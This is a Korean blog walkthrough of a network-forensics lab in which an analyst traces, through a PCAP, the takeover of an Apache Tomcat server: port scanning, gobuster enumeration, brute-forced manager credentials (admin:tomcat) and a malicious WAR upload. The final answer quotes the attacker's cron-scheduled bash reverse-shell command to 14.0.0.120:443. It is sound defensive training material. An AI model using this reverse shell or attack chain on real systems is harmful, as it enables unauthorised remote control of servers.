SEO

[Network Forensics] Tomcat Takeover Lab 본문

Wargame/CyberDefenders

[Network Forensics] Tomcat Takeover Lab

Crain 2025. 2. 11. 21:23
반응형

Scenario

The SOC team has identified suspicious activity on a web server within the company's intranet. To better understand the situation, they have captured network traffic for analysis. The PCAP file may contain evidence of malicious activities that led to the compromise of the Apache Tomcat web server. Your task is to analyze the PCAP file to understand the scope of the attack.

 

Q1. Given the suspicious activity detected on the web server, the PCAP file reveals a series of requests across various ports, indicating potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server?

Wireshark의 Statistics > Conversations 를 확인하면 14.0.0.120 IP에서 내부망으로 수많은 패킷을 보내는 것으로 보아 스캐닝을 시도한 것을 추측할 수 있습니다.

 

답 : 14.0.0.120

 

 

Q2. Based on the identified IP address associated with the attacker, can you identify the country from which the attacker's activities originated?

해당 IP를 Whois에 조회하면 중국에 위치하고 있는 IP임을 알 수 있습니다.

 

답 : China

 

 

Q3. From the PCAP file, multiple open ports were detected as a result of the attacker's active scan. Which of these ports provides access to the web server admin panel?

공격자는 포트스캐닝을 시도하였고, 8080 포트에 대해서 성공 응답을 받은 것을 확인할 수 있습니다.

 

답 : 8080

 

 

Q4. Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process?

디렉터리 리스팅을 시도하는 것으로 보이는 패킷들이 존재합니다.

 

follow > TCP stream에서 관련 TCP 패킷들을 확인해보면 User-Agent 값이 gobuster 임을 알 수 있습니다. Gobuster는 오픈 소스 디렉토리 bruting 및 서브도메인 스캐닝 도구로, 펜테스팅에서 디렉토리 및 파일의 존재를 확인할 때 사용됩니다.

User-Agent 헤더는 클라이언트의 종류를 나타내는 정보로 gobuster 도구로부터 전송된 패킷임을 확인하였습니다.

 

답 : gobuster

 

 

Q5. After the effort to enumerate directories on our web server, the attacker made numerous requests to identify administrative interfaces. Which specific directory related to the admin panel did the attacker uncover?

host-manager는 Apache Tomcat 웹 서버의 관리 인터페이스 중 하나입니다. 이러한 정보를 토대로 공격자는 해당 서버가 Apache Tomcat 웹 서버를 사용하고 있다는 것을 추측할 수 있습니다.

해당 패킷을 토대로 TCP Stream을 분석해보면 다음과 같은 경로에 대한 Not Found Response를 볼 수 있습니다.

 

 

대충 Tomcat 7 이상 버전에서는 manager 애플리케이션의 구조가 변경되었다는 내용을 볼 수 있는데, 사용 가능한 경로까지 친절히 보여주네요.

  • /manager/html - HTML GUI 인터페이스
  • /manager/text - 텍스트 인터페이스
  • /manager/jmxproxy - JMX 프록시
  • /manager/status - 상태 페이지

/manager는 Apache Tomcat의 관리자 웹 인터페이스입니다. 이를 토대로 공격자가 해당 디렉토리를 발견하고 공격을 수행했다는 것을 알 수 있습니다.

 

답 : /manager

 

 

Q6. After accessing the admin panel, the attacker tried to brute-force the login credentials. Can you determine the correct username and password that the attacker successfully used for login?

패킷에서 계속해서 권한이 거부되다가 성공 메소드(200)이 전송되는 것을 확인할 수 있습니다.

 

해당 패킷을 더 분석해보면 Authorization에 base64 인코딩된 정보가 있는 것을 알 수 있습니다. Authorization 헤더는 HTTP 요청에서 클라이언트의 인증 정보를 서버로 전달하는 역할을 합니다.

 

해당 값을 디코딩하면 admin:tomcat의 계정 정보로 접속에 성공한 것을 알 수 있습니다.

 

답 : admin:tomcat

 

 

Q7. Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data?

로그인 성공 이후 파일 업로드 관련 패킷의 Content-Disposition 헤더에서 파일명을 확인하였습니다. Content-Disposition 헤더는 HTTP 응답/요청에서 컨텐츠가 어떻게 처리되어야하는지 지정해주는 역할로, name에는 deployWar 라는 폼 필드의 이름이, filename에는 업로드하는 파일의 이름이 담겨있습니다.

 

답 : JXQOZY.war

 

 

Q8. After successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence?

웹 쉘 업로드 후 /JXQOZY 경로에서 GET 요청이 오고, [SYN], [SYN, ACK], [ACK] 패킷을 통해 공격자와 서버간의 새로운 TCP 연결이 수립된 것을 확인할 수 있습니다.

 

연결 수립 후 전송된 데이터에서 매 분마다 공격자의 서버(14.0.0.120:443)로 리버스 쉘 연결을 유지하는 작업 스케줄러를 실행시킨 것을 확인할 수 있습니다.

 

답 : /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1’

반응형